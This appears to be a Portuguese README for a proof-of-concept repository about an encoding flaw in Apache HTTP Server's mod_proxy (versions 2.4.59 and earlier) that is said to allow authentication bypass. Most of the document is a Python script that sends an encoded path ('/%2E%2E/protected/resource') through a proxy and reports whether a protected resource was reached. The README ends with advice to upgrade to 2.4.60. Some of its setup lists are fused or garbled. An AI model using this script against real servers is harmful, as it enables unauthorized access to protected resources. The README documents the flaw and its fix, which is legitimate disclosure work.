
Prova de conceito que demonstra uma falha de codificação no mod_proxy do Apache HTTP Server que pode contornar a autenticação por meio de URLs codificadas elaboradas.
Este repositório contém scripts de Prova de Conceito (PoC) para demonstrar um problema de codificação no módulo mod_proxy do Apache HTTP Server versões 2.4.59 e anteriores. Esta vulnerabilidade permite que URLs de requisição com codificação incorreta sejam enviadas para serviços backend, potencialmente contornando a autenticação por meio de requisições criadas.
CVE-ID: (Pendente)
Visão Geral:
Um problema de codificação no módulo mod_proxy do Apache HTTP Server versões 2.4.59 e anteriores permite que URLs de requisição com codificação incorreta sejam enviadas para serviços backend. Isso pode potencialmente contornar mecanismos de autenticação por meio de requisições criadas. Recomenda-se que os usuários atualizem para a versão 2.4.60, que corrige este problema.
Versões Afetadas:
Versão Corrigida:
requests (pip install requests)Identifique o Serviço Backend:
http://backend-service.example.com.Crie uma Requisição Maliciosa:
Execute o Script PoC:
mod_proxy_poc.py e execute-o.Aqui está um script Python que demonstra a vulnerabilidade:
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Change this to the proxy server's URL
backend_service_path = "/protected/resource" # The path to the protected resource on the backend service
malicious_path = "/%2E%2E/protected/resource" # Incorrectly encoded path to bypass authentication
# Malicious request to be sent via the proxy server
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Send the crafted request to the proxy server
response = requests.get(malicious_url)
# Print the response details
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully bypassed authentication and accessed the protected resource.")
else:
print("[-] Failed to bypass authentication.")
except Exception as e:
print("[-] An error occurred:", str(e))
if __name__ == "__main__":
send_malicious_request()
Configuração:
proxy_url: A URL do servidor proxy.backend_service_path: O caminho para o recurso protegido no serviço backend.malicious_path: O caminho codificado incorretamente para contornar a autenticação.send_malicious_request:
Para mitigar esta vulnerabilidade, atualize para o Apache HTTP Server versão 2.4.60, que corrige o problema de codificação no módulo mod_proxy.
Mantendo seu software atualizado e seguindo as melhores práticas de segurança, você pode prevenir vulnerabilidades como este problema de codificação no módulo mod_proxy.